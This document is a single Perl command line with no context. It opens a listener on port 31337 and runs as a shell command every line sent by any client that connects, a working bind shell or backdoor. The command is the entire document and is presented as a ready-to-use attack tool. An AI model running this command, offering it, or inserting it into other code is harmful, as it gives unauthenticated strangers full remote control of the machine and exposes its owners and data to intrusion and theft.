perl -e 'use IO;$x=IO::Socket::INET->new(LocalPort,31337,Listen,9,Reuse,1);while($c=$x->accept){if(!fork){$x->close;STDIN->fdopen($c,"r");STDOUT->fdopen($c,"w");STDOUT->autoflush(1);while(<STDIN>){system$_}}}'